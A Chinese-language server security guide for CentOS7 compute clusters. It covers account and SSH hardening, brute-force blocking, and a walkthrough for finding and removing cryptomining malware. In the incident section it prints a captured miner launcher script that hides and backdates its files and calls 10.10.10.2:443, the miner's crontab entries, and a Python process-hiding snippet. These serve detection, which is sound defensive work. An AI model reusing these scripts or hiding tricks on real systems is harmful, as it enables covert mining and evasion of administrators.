服务器安全
Info
如无特殊说明,本文档的所有操作均在CentOS7上完成。本文的安全配置仅针对计算服务器(通常对外仅开放ssh服务);
安全设置¶
账号相关设置¶
账号清理¶
服务器在安装系统时,实施人员可能创建了临时账号,其密码一般相对简单或固定,此类账号建议删除;公司设置的root初始密码也相对简单和模式化,也应在交付前修改为复杂的密码。
服务器部分系统软件实施安装过程中,可能需要创建专用的账号来运行,其密码一般相对简单或固定,很容易被猜测并暴力破解,建议及时更改为复杂密码或将其锁定。
# 删除账号
userdel -r username
部分账号长时间不再使用,但需要保留,建议将其锁定无法登录。
# 锁定账号
$ passwd -l username
# 解除锁定
$ passwd -u username
# 查看锁定状态,共有3种状态,LK:密码被锁定 NP:没有设置密码 PS:密码已设置
$ passwd -S username
username LK 2019-03-27 0 99999 7 -1 (Password locked, SHA512 crypt.)
强制复杂密码¶
从经验来看,系统被攻破,主要是使用简单密码被破解,建议服务器系统安装之后就设置密码规则,对密码长度、特殊字符、数字、字母大小写都做规定。系统使用之前做好这一步就可以抵御绝大部分入侵者的攻击。
主要修改文件 /etc/security/pwquality.conf
,相关规则如下所示。
minlen = 10
dcredit = -1
ucredit = -1
ocredit = -1
lcredit = -1
minlen = 10
口令长度至少包含 10 个字符dcredit = -1
口令包含1个数字 (数字为负数,表示至少有多少个大写字母;数字为正数,表示至多有多少个大写字母;下面同理)ucredit = -1
口令包含1大写字母ocredit = -1
口令包含1个特殊字符lcredit = -1
口令包含1个小写字母
ssh服务设置¶
禁止root直接sshd远程登录可降低root账号被爆破的风险;更改默认的ssh端口,可减少被扫描攻击的风险。 /etc/ssh/sshd_config
在ssh服务配置文件中修改如下选项,然后重启ssh服务 systemctl restart sshd
PermitEmptyPassword no
禁止使用空密码PermitRootLogin no
禁止root用户ssh直接远程登录port 2348
修改ssh登录端口号为2348
限制用户su¶
限制能su到root的用户,修改/etc/pam.d/su
文件。如,只允许admin用户组su到root,则在该文件中添加 auth required pam_wheel.so group=admin
。
锁定恶意访问账户¶
使用pam_tally2.so模块可以动态锁定ssh多次登录失败的账户,防止服务器被暴力破解,可在/etc/pam.d/sshd
中添加使用。
Note
pam_tally2.so
模块添加在/etc/pam.d/sshd
文件中,只限制ssh远程登录失败的情况,不限制su切换、本地登录等;添加在/etc/pam.d/system-auth
中,会限制所有场景下的登录失败情况,ssh、su、本地、图形界面等;
ssh登录失败5次后拒绝访问,300s后解锁;root用户拒绝访问后,600s后解锁;
#%PAM-1.0
auth required pam_tally2.so deny=5 unlock_time=300 even_deny_root root_unlock_time=600
auth required pam_sepermit.so
auth substack password-auth
auth include postlogin
# Used with polkit to reauthorize users in remote sessions
-auth optional pam_reauthorize.so prepare
account required pam_nologin.so
account include password-auth
password include password-auth
# 查看用户user那么登录失败次数
$ pam_tally2 -u username
Login Failures Latest failure From
username 2 10/25/22 16:39:55 192.168.1.10
# 手动解除锁定
$ pam_tally2 -r -u username
Login Failures Latest failure From
username 2 10/25/22 16:39:55 192.168.1.10
$ pam_tally2 -u username
Login Failures Latest failure From
username 0
pam_tally2模块参数:
全局选项
onerr=[succeed|fail]
file=/path/to/log 失败登录日志文件,默认为/var/log/tallylog
audit 如果登录的用户没有找到,则将用户名信息记录到系统日志中
silent 不打印相关的信息
no_log_info 不通过syslog记录日志信息
AUTH选项
deny=n 失败登录次数超过n次后拒绝访问
lock_time=n 失败登录后锁定的时间(秒数)
unlock_time=n 超出失败登录次数限制后,解锁的时间
no_lock_time 不在日志文件/var/log/faillog 中记录.fail_locktime字段
magic_root root用户(uid=0)调用该模块时,计数器不会递增
even_deny_root root用户失败登录次数超过deny=n次后拒绝访问
root_unlock_time=n 与even_deny_root相对应的选项,如果配置该选项,则root用户在登录失败次数超出限制后被锁定指定时间
屏蔽恶意访问IP¶
使用lastb命令可以查看ssh登录失败的账户、时间、客户端IP。
$ lastb |head -n20
user1 ssh:notty 192.168.101.1 Tue Nov 29 10:25 - 10:25 (00:00)
user2 ssh:notty 192.168.101.2 Tue Nov 29 10:20 - 10:20 (00:00)
user3 ssh:notty 192.168.101.3 Tue Nov 29 09:50 - 09:50 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 09:27 - 09:27 (00:00)
user5 ssh:notty 192.168.101.5 Tue Nov 29 09:25 - 09:25 (00:00)
user5 ssh:notty 192.168.101.5 Tue Nov 29 09:25 - 09:25 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 09:24 - 09:24 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 09:23 - 09:23 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 09:07 - 09:07 (00:00)
user6 ssh:notty 192.168.101.6 Tue Nov 29 09:00 - 09:00 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 08:59 - 08:59 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 08:59 - 08:59 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 08:58 - 08:58 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 08:57 - 08:57 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 08:56 - 08:56 (00:00)
user4 ssh:notty 192.168.101.4 Tue Nov 29 08:56 - 08:56 (00:00)
user6 ssh:notty 192.168.101.6 Tue Nov 29 08:37 - 08:37 (00:00)
user1 ssh:notty 192.168.101.1 Tue Nov 29 08:14 - 08:14 (00:00)
user1 ssh:notty 192.168.101.1 Tue Nov 29 08:10 - 08:10 (00:00)
user1 ssh:notty 192.168.101.1 Tue Nov 29 07:55 - 07:55 (00:00)
$ cat /var/log/secure|grep denied|tail -n20
Nov 29 09:25:01 login02 sshd[2399]: pam_access(sshd:auth): access denied for user `user5' from `192.168.65.104'
Nov 29 09:25:16 login02 sshd[2609]: pam_access(sshd:auth): access denied for user `user5' from `192.168.65.104'
Nov 29 09:25:26 login02 sshd[2683]: pam_access(sshd:auth): access denied for user `user5' from `192.168.65.104'
Nov 29 09:27:54 login02 sshd[4184]: pam_access(sshd:auth): access denied for user `user4' from `192.168.21.46'
Nov 29 09:28:11 login02 sshd[4386]: pam_access(sshd:auth): access denied for user `user4' from `192.168.21.46'
Nov 29 09:34:33 login02 sshd[8123]: pam_access(sshd:auth): access denied for user `user6' from `192.168.19.17'
Nov 29 09:47:17 login02 sshd[14859]: pam_access(sshd:auth): access denied for user `user3' from `192.168.20.83'
Nov 29 09:50:01 login02 sshd[16255]: pam_access(sshd:auth): access denied for user `user3' from `192.168.176.186'
Nov 29 09:50:17 login02 sshd[16431]: pam_access(sshd:auth): access denied for user `user3' from `192.168.176.186'
Nov 29 09:54:50 login02 sshd[19214]: pam_access(sshd:auth): access denied for user `user7' from `192.168.40.79'
Nov 29 10:14:48 login02 sshd[30572]: pam_access(sshd:auth): access denied for user `user8' from `192.168.248.247'
Nov 29 10:15:07 login02 sshd[30869]: pam_access(sshd:auth): access denied for user `user8' from `192.168.248.247'
Nov 29 10:15:23 login02 sshd[32409]: pam_access(sshd:auth): access denied for user `user8' from `192.168.248.247'
Nov 29 10:19:50 login02 sshd[4017]: pam_access(sshd:auth): access denied for user `user2' from `192.168.174.63'
Nov 29 10:20:03 login02 sshd[4153]: pam_access(sshd:auth): access denied for user `user2' from `192.168.174.63'
Nov 29 10:23:04 login02 sshd[6050]: pam_access(sshd:auth): access denied for user `user2' from `192.168.174.63'
Nov 29 10:23:20 login02 sshd[6283]: pam_access(sshd:auth): access denied for user `user2' from `192.168.174.63'
Nov 29 10:25:35 login02 sshd[7845]: pam_access(sshd:auth): access denied for user `user1' from `192.168.12.231'
Nov 29 10:25:49 login02 sshd[7995]: pam_access(sshd:auth): access denied for user `user1' from `192.168.12.231'
tcpwrapper¶
简单防护可以利用TCP Wrapper过滤机制,手动添加恶意IP以屏蔽其对服务器的访问,学习门槛低,可以快速上手。一般在相对安全的环境中可以采用,如校园网中。
如 屏蔽192.168.174.63
192.168.12.231
这两个IP访问服务器
ALL:192.168.74.63 192.168.12.231
如 只允许192.168.120.0/24
这个网段的IP访问
sshd:192.168.120.0/255.255.255.0
all:all
DenyHosts¶
将恶意访问IP添加到/etc/hosts.deny
文件的过程可以使用程序自动化处理,使用DenyHosts自动将恶意访问IP加入/etc/hosts.deny
文件中,详细用法见集群用户手册 DenyHosts。
Fail2Ban¶
如果有更高要求,可以使用fail2ban,该软件自动调用iptables或firewalld防火墙屏蔽恶意访问IP,具有丰富的命令行。除屏蔽sshd服务访问外,还可以个性化设置对ftp、apache、nginx等服务的访问控制,详细用法见集群用户手册 Fail2Ban。
双因素认证登录¶
风险较高的场景,如直接向公网开放ssh服务、同时用户较多较难管控导致极易出现弱口令,建议使用双因素认证登录。
具体使用见集群文档 双因素认证登录配置使用。
内网穿透¶
一般计算服务器都处于内网或校园网内,在校外使用不便,因此有部分同学会使用内网穿透工具以便在外网环境下直接登录服务器,但因此也会将本来处于内网保护状态下的服务器直接暴露在公网中,使服务器面临极高的风险。
Danger
严禁使用内网穿透工具登录校园网内的服务器,私自这样做的建议直接封账号。
杀毒软件¶
暴露风险较高的服务器可以部署杀毒软件,定期对系统进行恶意文件扫描,具体使用见集群文档 clamav。
防火墙¶
计算服务器或集群,一般在实施开始之前会关闭防火墙,以免干扰实施过程。
条件允许的话,对外联网的服务器建议开启防火墙,只放行业务需要的端口。
Summary
校园网内的服务器,强制使用更复杂的密码、自动锁定恶意登录账号、自动封禁恶意访问IP,就可以防范绝大多数的入侵行为;
如面向公网开放,建议启用双因素认证;
切勿私自在服务器上使用内网穿透工具;
系统安全漏洞修复¶
这里有些比较重要的系统安全漏洞公告,可以对照着修复。
禁止联网¶
禁止联网可以防范内网穿透、外网暴力破解等风险;同时挖矿程序需要与外网的矿池链接通讯,根据经验被挖矿的机器断网之后挖矿进程会进入休眠状态,不会占满CPU资源,也不影响在运行的程序,同时也方便管理员处理(挖矿进程满负荷运行时机器会非常卡)。如果服务器或集群的安全措施不是很到位,建议断开外网连接。
入侵后处理¶
系统被入侵后,可能会被植入病毒,包括网络蠕虫病毒、勒索病毒、挖矿病毒,同时入侵者为了能长久地维持存在、随时连上系统,会对系统的正常文件做一定修改或替换。
因此系统被入侵后的处理,一般分为2部分,一部分是病毒的清理,一部分是系统安全漏洞的检查与修复。实际操作过程中,一般是2部分内容相互有关联,同时进行处理。
定位入侵源¶
通过last、lastb命令或日志文件/var/log/secure
可以查看尝试或已经侵入系统的IP地址,但有事入侵者会清理掉这些痕迹,此时可以查看/root/.ssh/known_hosts
,该文件可能会包含入侵者的IP信息。
$ cat ~/.ssh/known_hosts
172.2.217.115 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP21+WVe4dQ1pQSCGRyuAQdVzatt1DlFtCT14rWQWY22pR6pPatSHAzFdhuBh+gEiWGa5wbdF4EvJAS7pxi0mqU=
172.5.228.103 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP9YrcXturqxbaSUQ2p4832nlMU0dCNaFxKxfU5yYPeL+X/W49RzVHbTa3yWX3aZw4HqV1lE50ACZz+GM8fDkyc=
172.6.181.201 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIUMroC58g/Ip0oeO8Y/xJ9DYRLU/aCyCDzmoEIw+z+/D527YVKWvqd3RA//Ld3OEfsFjVU1Z9umGqgZS6zo85k=
172.1.110.164 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCft/L3Rkw75cBQezB+1hBd+NHy/2L4LYZO+da0QnT7SFQFhqYgYxdbmiHb19JwSuiVax4bsdbGsdcWol6Sqtrs=
172.13.134.63 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPvgPRNEAbIoHrpVVBkHXjAWQgN/EVFTEbl2MWELFD6H5pWhyfYU7E7VT2ts6unA2e5HPPTbCQe12iz62HyqIKk=
10.162.19.209 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE2EC6Xuiyl0sFDsljqFQla3zG4VtXAN48U1fbfrwE6niDOsEB1E68ehdi8iP/z4SJKq1egimXgsjnSLbWzBwwA=
172.14.75.158 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDE+VecFIxiU9DQRpxKeDevP0TTm5KWv7+KZ5WG7/aD768tZGUvM1H/u76fw/WMo3yW6eIbcesdwmK+qM9Y2p80=
172.10.227.57 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBENNUJtyvLE/BeOhmhAtixbwM5gXDA7ZccyPe/LBm1KZ5lsiXVDr0dLLYH5pHqPpI2emlWgSeACtresJtroLGcY=
172.6.103.162 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA47Tniw1DdB31r1FX2+VKou0Yq8SK203008vh97FoeuEYMe2fD5boc1UJMLnIKUMOf4DQhxYpCLiWxAzXOmYRQ=
172.4.207.18 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBES2OpwySkmomqRjRElKtZfZSIMSenEdTGTAc4biaJfrypelcLHjBu21S5EkB2l8NzqHHDzz4F2ZZ0C19USI0OE=
172.10.234.55 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBByN0kSUf2hGZpQ0i11Q2/r/XyTWEZm4hwoQrN9D7qqco+uLBCJygQ+v1iLNNHqJBFWs7fOsz4uB0K5DM/Q813Q=
172.10.86.211 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNWryCxo318RBGrlwrCd1ta0BMsyYQMAqtyyjI08nqKLo38ZHeonRmHC3Q7NQ3CG8bMH5s+uSpEE6kGICZgnuHI=
172.11.81.170 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBbJQnU0Z49swhtmJw1uJJmjIiNRPyvtneh2YNwKonzehlSsiYpvhpK7AH14OBsWY55CMO5bfcF+CPezC7dRhS0=
172.1.61.154 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD9O0B4j87IKVtqYNUy9IWVz353xq32RkoPyb+VXHIv2zzXwuK50JQKaFynXdbN+VrjZATJEJlvZN5C+nanysf3Id94yNj9VlPKBkl7s8sD8l2vx3OAt66q3qm2ULz9N8fsDGVi38HX+7iYG6neovuFNNKA6BXB9fV8IeyRzafvdx9ddDbKsNMoj2xhMIXJk1pwiZXibEDhy/wESa4zmlKDRIemFNypQm9BLVnpc7I4goKejWQIueOWfvQpdyMVmYOgjZztdgD1KlisCL0x3GShkQG9agy6MfaH2nKSgEUb74F+mglzXfWnuWZOe7G9TotgvCrQNEXRaCqQXswNhH0v
172.7.191.74 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNX7c4YB8qsqt1Xb4/0riZg55qFnNnPU6MsOyFxp/gM4FU6Z4KJNue+jLFsB55qP+tWVhHJ0A+9ujHzlDtXZzXw=
172.15.215.114 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL16Ih8Mh4Wr+sjiJZXq3k/OP8fcTCZjoNHmsrwW0z2vhRhQhGmC4YoLUqx3sFGJv0WvusozcnW5k/MVELHkImk=
病毒清理¶
目前遇到的入侵病毒多为挖矿病毒,挖矿病毒典型特征为集群所有节点负载非常高,高负载进程名称奇怪或非正常路径,部分场景下相关进程会被隐藏,top或ps无法看到。
挖矿病毒一般需要连接外网,与矿池或代理进行通讯,信息中心会监测校内服务器IP进出校园网的相关数据包,部分挖矿相关数据包会被检测到并对用户进行预警。
Warning
一旦系统被入侵,很有可能部分关键命令被入侵者替换,在病毒排查过程中使用这些命令将不会显示病毒进程,如top、ps、netstat等。因此使用任何系统命令前,可以先用virustotal检测该文件是否正常,如果检测显示无法找到该文件或直接报恶意文件,则不能使用该文件,可以从其它服务器拷贝正常的文件替换,或使用busybox代替。virustotal具体用法见集群用户手册 virustotal,异常文件或URL检测也可以使用微步在线沙箱。
被入侵的机器上lsattr和chattr也可能被替换了,这两命令可以给sshd等被替换的文件加上i或者a属性,导致从别的机器复制过来覆盖或者重装对应包时无法进行替换。由于lsattr和chattr被替换了,所以lsattr查看属性时,看不到i或者a,增加了处理难度,此时建议拷贝其他服务器的正常lsattr和chattr到本机进行处理,或使用busybox的lsattr和chattr来处理。
Info
发现机器被入侵了第一件事可以history
先看一下入侵者有没有留下操作记录,部分入侵者不是很注意就会留下记录,会减轻排查的难度。
busybox¶
BusyBox是标准Linux 工具的一个单个可执行实现。
BusyBox 包含了一些简单的工具,例如 cat 和 echo,还包含了一些更大、更复杂的工具,例如 grep、find、mount 以及 telnet。
病毒排查时优先使用busybox的命令,以防入侵者替换了系统命令,干扰排查过程。
Info
本文档为演示病毒查找过程,未完全使用busybox。
以下为busybox安装和使用举例。
$ wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
$ chmod +x busybox
$ cp busybox /usr/bin
$ busybox top
定时任务¶
一般挖矿病毒会设置定时启动,以便在挖矿进程被杀死或系统重启之后能启动新的挖矿进程。病毒处理第一步便是查看各定时任务是否异常,对异常定时任务及时处理,并从中找到病毒文件将其删除。
如下所示,test账号因弱口令被破解入侵后被植入的挖矿病毒,并设置了定时启动。
$ ll /var/spool/cron/
total 8
-rw------ 1 test test 138 Dec 25 06:31 test
$ crontab -l
* * * * * /public/home/test/pty3 > /dev/null 2>&l &
* * * * * /dev/shm/pty3 > /dev/null 2>&1 &
* * * * * /var/tmp/pty3 > /dev/null 2>&1 &
systemctl list-unit-files
查看是否有异常的服务被启动。 定时启动或重启后启动相关目录如下,需要认真检查是否有异常。
/etc/rc.local
/etc/rc.d/init.d/
/etc/profile
/etc/profile.d/
/var/spool/cron/
/etc/cron.d
/etc/cron.daily
/etc/cron.deny
/etc/cron.hourly
/etc/cron.monthly
/etc/crontab
/etc/cron.weekly
病毒位置¶
使用top查看到有异常高负载进程,通过进程id查看进程位置,然后可以进行清理。
$ ll /proc/3644/exe
lrwxrwxrwx 1 root root o Jan 22 15:02 /proc/3644/exe -> /tmp/z/xmrig
systemctl
命令查询进行是如何被运行的 systemctl status 病毒pid
。 $ ll /proc/3644/exe
lrwxrwxrwx 1 root root o Jan 22 15:02 /proc/3644/exe -> /tmp/xmrig(deleted)
#!/bin/sh
dir=$(pwd) 2>/dev/null
rand=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 12 | head -n 1) 2>/dev/null
pid=$(cat $dir/pids) 2>/dev/null
cp $dir/mihner /sbin/mihner 2>/dev/null
cp /sbin/mihner /tmp/$rand 2>/dev/null
/tmp/$rand -lan 10.10.10.2:443 -r -c -k -h $rand
rm -rf /tmp/$rand 2>/dev/null
proc=$(ps x |grep $rand |grep -v grep |awk '{print $1}') 2>/dev/null
echo $proc >pids
chmod +x $dir/pids 2>/dev/null
touch -t 202008190000 $dir/pids 2>/dev/null
touch -t 202011240000 $dir/exec 2>/dev/null
touch -t 202003210000 $dir/run 2>/dev/null
touch -t 202001210000 /sbin/mihner 2>/dev/null
touch -t 202001020000 $dir/smart
touch -t 202001040000 $dir/shc
rm -rf $rand mihner go 2>/dev/null
ls
查看时需要加上-a
选项。 /var/tmp/
/dev/shm/
/opt/
/tmp/
...
,查找时常常会被忽略,如下所示。 $ ll -rtha /opt/
total 60K
drwxr-xr-x. 2 root root 4.0K May 17 2013 rh
drwxr-xr-x. 6 root root 4.0K Jul 9 2015 ibutils
drwxr-xr-x. 3 root root 4.0K Jul 9 2015 intel
dr-xr-xr-x. 32 root root 4.0K Oct 5 2021 ..
drwxr-xr-x 2 root root 4.0K Nov 11 01:33 ...
drwxr-xr-x. 12 root root 4.0K Nov 26 16:57 .
$ ll -rtha /opt/.../
total 5.2M
-rwxr-xr-x 1 root root 44K Jul 23 2021 shc
-rwxr-xr-x 1 root root 13K Oct 14 2021 libsmart.2.so
-rwxr-xr-x 1 root root 59 Oct 14 2021 smart
-rwxr-xr-x 1 root root 149 Oct 14 2021 run
-rwxr-xr-x 1 root root 115 Oct 14 2021 go
-rwxr-xr-x 1 root root 5.1M Nov 7 18:02 mihner
-rwxr-xr-x 1 root root 691 Nov 11 01:32 exec
drwxr-xr-x 2 root root 4.0K Nov 11 01:33 .
drwxr-xr-x. 12 root root 4.0K Nov 26 16:57 ..
$ locate mihner
/opt/.../mihner
/sbin/mihner
同时也可以用杀毒软件对/lib/ /bin/ /usr/ /var/ /opt/ /tmp/ /dev/
登录进行扫描,查看是否有被感染的文件,具体用法见集群用户文档 clamav。
进程隐藏¶
为躲避清理,部分挖矿病毒会利用特殊办法隐藏自身,使管理员无法定位清理。
篡改命令¶
部分挖矿病毒通过篡改top、ps命令,让该命令显示时过滤挖矿病毒。可以通过stat命令查看命令的修改时间以判断命令是否被篡改,如果Change的时间在最近,则很有可能被篡改了。
此时建议从其它同版本的服务器中拷贝正常命令使用,或安装htop。
$ stat /usr/bin/top
File: ‘/usr/bin/top’
Size: 106848 Blocks: 216 IO Block: 4096 regular file
Device: fd00h/64768d Inode: 738247651 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2022-11-26 10:21:42.742891556 +0800
Modify: 2018-04-11 08:42:59.000000000 +0800
Change: 2022-11-21 18:21:55.015996564 +0800
Birth: -
Hook系统调用¶
这需要从ps、top的命令执行原理来解释,这些命令执行一般分为以下几步:
- 调用openat函数获取/proc目录的文件句柄。
- 调用getdents函数递归获取/proc目录下所有(包含子文件)文件。
- 调用open函数打开/proc/pid/stat,status,cmdline文件,获取进程数据,打印出来。
攻击者一般通过以下几种操作来达到隐藏进程的操作。
- 修改命令需要调用的函数源码,比如open()、getdents()
- 修改libc库中的readdir函数源码
- 利用环境变量LD_PRELOAD或者配置ld.so.preload使得恶意文件先于系统标准库加载,使得系统使用命令时绕过系统标准库,达到进程隐藏的目的。
前两种方式使用相对复杂,实际场景中多使用第三种方式。
一般通过查看环境变量LD_PRELOAD
或/etc/ld.so.preload
文件是否有异常。
$ cat /etc/ld.so.preload
/usr/local/lib/libprocesshider.so
$ export -p|grep LD_PRELOAD
$
libprocesshider.so
为挖矿病毒常用的用于进程隐藏的库,需要将其删除,同时/etc/ld.so.preload
文件中也将其删除。 挂载覆盖¶
挂载一些空的路径到/proc
对应进程号下面,ps
等命令在遍历/proc
时则没有办法找到该进程的信息。
# -*- coding:utf-8 -*-
import os
import time
while True:
pid = os.getpid()
print "start!"
#当然也可以使用mount -o bind /empty/dir /porc/xxxx
os.system("mount /dev/sda1 /proc/%s"%str(pid))
print "end"
time.sleep(1)
对抗方法:cat /proc/mount
查看挂载情况,如下所示,可以看到 259964
这个进程被系统盘覆盖了。
$ cat /proc/mounts |grep proc
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=22,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=43071 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0
/dev/mapper/system-root /proc/259964 xfs rw,relatime,attr2,inode64,noquota 0 0
/dev/mapper/system-root /proc/1 xfs rw,relatime,attr2,inode64,noquota 0 0
# 查看这个进程目录,发现不是常规的进程目录的结构,而是与/tmp的目录内容一致,可以确认该进程被覆盖了
$ ls /proc/259964
top
查看,可以看到病毒进程了。 $ umount /proc/259964
$ top
top - 09:34:03 up 101 days, 21:05, 3 users, load average: 36.77, 36.54, 36.60
Tasks: 437 total, 1 running, 436 sleeping, 0 stopped, 0 zombie
%Cpu(s): 99.9 us, 0.1 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 19753308+total, 18282083+free, 14036832 used, 675428 buff/cache
KiB Swap: 4194300 total, 4194300 free, 0 used. 17963222+avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
259964 root 5 -15 4725848 82268 1748 S 3383 0.0 14666:40 h35rn5kz6fls
检测隐藏进程¶
简单处理
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2
如下这种进程常规方法无法找出,可以通过unhide检测到。
# 204336这个进程存在但ls /proc/无法查看
$ ls /proc/204336/exe
lrwxrwxrwx 1 root root 0 Aug 28 22:20 /proc/204336/exe -> /tmp/y8h3fj490cl3 (deleted)
$ ll -d /proc/[1-9]*/|grep 204336
$
$ sysdig -c topprocs_cpu # 该命令可以输出cpu占用的排行,经测试可以显示出被隐藏的进程
异常网络服务¶
查看是否有异常网络服务,部分入侵者为保证管理员更改了相关账号密码和秘钥之后还能连上服务器,可能会在服务器上运行代理程序。
如下所示,系统运行了2个ssh服务,其中一个服务端口为5288,显得比较可疑。
$ netstat -ltupan |grep LISTEN|grep "0 0.0.0.0"
tcp 0 0 0.0.0.0:5288 0.0.0.0:* LISTEN 27467/sshd
tcp 0 0 0.0.0.0:7112 0.0.0.0:* LISTEN 3691/perl
tcp 0 0 0.0.0.0:3309 0.0.0.0:* LISTEN 31265/mysqld
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1735/rpcbind
tcp 0 0 0.0.0.0:20048 0.0.0.0:* LISTEN 1899/rpc.mountd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 27467/sshd
tcp 0 0 0.0.0.0:15001 0.0.0.0:* LISTEN 21926/pbs_server
tcp 0 0 0.0.0.0:53081 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:15002 0.0.0.0:* LISTEN 22123/pbs_mom
tcp 0 0 0.0.0.0:15003 0.0.0.0:* LISTEN 22123/pbs_mom
tcp 0 0 0.0.0.0:33563 0.0.0.0:* LISTEN 1686/rpc.statd
tcp 0 0 0.0.0.0:15004 0.0.0.0:* LISTEN 2199/maui
tcp 0 0 0.0.0.0:42559 0.0.0.0:* LISTEN 2199/maui
tcp 0 0 0.0.0.0:42560 0.0.0.0:* LISTEN 2199/maui
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN -
/usr/local/lib/libproc-2.8.so
,正常sshd程序不会使用该库。 可以删掉该文件,并查看/etc/ld.so.preload
中是否写入的该文件。
$ lsof -p 27467
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 27467 root cwd DIR 8,3 4096 2 /
sshd 27467 root rtd DIR 8,3 4096 2 /
sshd 27467 root txt REG 8,3 815520 4476781 /usr/sbin/sshd
sshd 27467 root mem REG 8,3 57824 4459716 /usr/lib64/libnss_files-2.17.so
sshd 27467 root mem REG 8,3 44088 4459728 /usr/lib64/librt-2.17.so
.
.
.
sshd 27467 root mem REG 8,3 42520 4460347 /usr/lib64/libwrap.so.0.7.6
sshd 27467 root mem REG 8,3 11328 4463459 /usr/lib64/libfipscheck.so.1.2.1
sshd 27467 root mem REG 8,3 13111 10488202 /usr/local/lib/libproc-2.8.so
sshd 27467 root mem REG 8,3 164432 4459691 /usr/lib64/ld-2.17.so
sshd 27467 root 0r CHR 1,3 0t0 1028 /dev/null
sshd 27467 root 1u unix 0xffff88001d1aa1c0 0t0 3290716158 socket
sshd 27467 root 2u unix 0xffff88001d1aa1c0 0t0 3290716158 socket
sshd 27467 root 3u IPv4 3290651244 0t0 TCP *:5288 (LISTEN)
sshd 27467 root 4u IPv6 3290651246 0t0 TCP *:5288 (LISTEN)
sshd 27467 root 5u IPv4 3290651248 0t0 TCP *:ssh (LISTEN)
sshd 27467 root 6u IPv6 3290651250 0t0 TCP *:ssh (LISTEN)
使用lsof命令查看该端口,显示有进程在运行。
s.threatbook.com 检测恶意IP,也可以检测恶意文件。
$ lsof -i:443
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Xorgs 31030 root 15u IPv4 3430298213 0t0 TCP *:https (LISTEN)
Xorgs
,且该命令被删除,显然为病毒文件。至此可以确认netstat被替换了。 $ ./netstat -ltupan |grep LISTEN|grep "0 0.0.0.0"
tcp 0 0 0.0.0.0:5288 0.0.0.0:* LISTEN 27467/sshd
tcp 0 0 0.0.0.0:7112 0.0.0.0:* LISTEN 3691/perl
tcp 0 0 0.0.0.0:33033 0.0.0.0:* LISTEN 31030/Xorgs
tcp 0 0 0.0.0.0:3309 0.0.0.0:* LISTEN 31265/mysqld
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1735/rpcbind
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 31030/Xorgs
tcp 0 0 0.0.0.0:20048 0.0.0.0:* LISTEN 1899/rpc.mountd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 27467/sshd
tcp 0 0 0.0.0.0:15001 0.0.0.0:* LISTEN 21926/pbs_server
tcp 0 0 0.0.0.0:53081 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:15002 0.0.0.0:* LISTEN 22123/pbs_mom
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 31030/Xorgs
tcp 0 0 0.0.0.0:15003 0.0.0.0:* LISTEN 22123/pbs_mom
